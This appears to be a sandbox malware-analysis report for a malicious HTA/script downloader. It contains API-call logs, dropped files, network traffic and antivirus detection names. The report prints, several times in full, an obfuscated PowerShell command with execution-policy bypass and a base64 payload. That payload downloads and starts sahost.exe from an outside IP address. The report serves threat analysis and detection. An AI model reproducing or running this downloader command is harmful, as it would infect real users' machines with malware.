1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Roaming\sahost.exe
file c:\Users\test22\AppData\Local\Temp\sw7xjah3.dll
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline C:\Windows\System32\cmd.exe "/C POWersHelL.exe -Ex bYpaSs -NoP -w 1 -C DEvICeCREdEntIaLdEploYmEnt ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]58+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64sTRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
cmdline "C:\Windows\system32\cmd.exe" "/C POWersHelL.exe -Ex bYpaSs -NoP -w 1 -C DEvICeCREdEntIaLdEploYmEnt ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]58+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64sTRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
cmdline POWersHelL.exe -Ex bYpaSs -NoP -w 1 -C DEvICeCREdEntIaLdEploYmEnt ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]58+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64sTRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
file C:\Users\test22\AppData\Local\Temp\sw7xjah3.dll
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: "/C POWersHelL.exe -Ex bYpaSs -NoP -w 1 -C DEvICeCREdEntIaLdEploYmEnt ; iex($(iEx('[syStem.TEXT.encoding]'+[ChAr]58+[ChaR]58+'uTf8.gETsTRINg([SySTEm.conVErt]'+[cHaR]0X3A+[ChAR]0X3a+'FrOmBASE64sTRing('+[CHAR]34+'JGlKbkVFVUxhUkVCICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFcmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTG1PTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIER4eWlLQWx0YlAsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRLZW5zaUhYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd2NoVkhOLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWR4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbHVMY3EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVTWHZ3YUgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWHggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaUpuRUVVTGFSRUI6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTM4LzEwNi9zYWhvc3QuZXhlIiwiJGVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7c1RhUlQtc2xlRVAoMyk7U3RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[ChAR]34+'))')))"
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1132
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x02d00000
process_handle: 0xffffffff
1 0 0
Data received !
Data received HTTP/1.1 200 OK Date: Thu, 08 Aug 2024 05:35:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 07 Aug 2024 22:46:39 GMT ETag: "b7a00-61f1faef01e34" Accept-Ranges: bytes Content-Length: 752128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELOù³fà f ®… @ à @…T… W  À  H.text´e f  `.rsrc  h @@.reloc À x @B… HˆÇ ̽õ0A Z%Ѕ( €† %ÐY( €Z(O*Ð&*0}E.VV
Data sent !
Data sent GET /106/sahost.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.3.176.138 Connection: Keep-Alive
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
cmdline "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\sw7xjah3.cmdline"
host 192.3.176.138
Time & API Arguments Status Return Repeated

send

 buffer: !
socket: 1428
sent: 1
1 1 0

send

 buffer: GET /106/sahost.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.3.176.138 Connection: Keep-Alive
socket: 1516
sent: 305
1 305 0

send

 buffer: !
socket: 1428
sent: 1
1 1 0

InternetCrackUrlA

 url: http://192.3.176.138/106/sahost.exe
flags: 0
1 1 0

URLDownloadToFileW

 url: http://192.3.176.138/106/sahost.exe
stack_pivoted: 0
filepath_r: C:\Users\test22\AppData\Roaming\sahost.exe
filepath: C:\Users\test22\AppData\Roaming\sahost.exe
2148270091 0
Time & API Arguments Status Return Repeated

recv

 buffer: HTTP/1.1 200 OK Date: Thu, 08 Aug 2024 05:35:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 07 Aug 2024 22:46:39 GMT ETag: "b7a00-61f1faef01e34" Accept-Ranges: bytes Content-Length: 752128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/lnk MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELOù³fà f ®… @ à @…T… W  À  H.text´e f  `.rsrc  h @@.reloc À x @B… HˆÇ ̽õ0A Z%Ѕ( €† %ÐY( €Z(O*Ð&*0}E.VV
received: 1024
socket: 1516
1 1024 0
parent_process powershell.exe martian_process "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\sw7xjah3.cmdline"
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\sahost.exe
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
option -ex bypass value Attempts to bypass execution policy
option -nop value Does not load current user profile
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\sahost[1].exe
Lionic Trojan.HTML.Agent.4!c
Skyhigh BehavesLike.HTML.ExpKitGen2.cx
ALYac VBS.Heur.Asthma.2.4123D49B.Gen
VIPRE VBS.Heur.Asthma.2.4123D49B.Gen
Arcabit VBS.Heur.Asthma.2.4123D49B.Gen
Symantec ISB.Downloader!gen80
Kaspersky Trojan.HTA.Agent.bw
BitDefender VBS.Heur.Asthma.2.4123D49B.Gen
NANO-Antivirus Trojan.Script.Heuristic-js.iacgm
MicroWorld-eScan VBS.Heur.Asthma.2.4123D49B.Gen
Emsisoft VBS.Heur.Asthma.2.4123D49B.Gen (B)
FireEye VBS.Heur.Asthma.2.4123D49B.Gen
Ikarus Trojan-Downloader.PowerShell.Agent
Google Detected
MAX malware (ai score=83)
Kingsoft Win32.Troj.Undef.a
ZoneAlarm Trojan.HTA.Agent.bw
GData VBS.Heur.Asthma.2.4123D49B.Gen
Varist JS/Agent.CIN.gen!Eldorado
Zoner Probably Heur.HTMLUnescape
alibabacloud Trojan:Win/Agent.br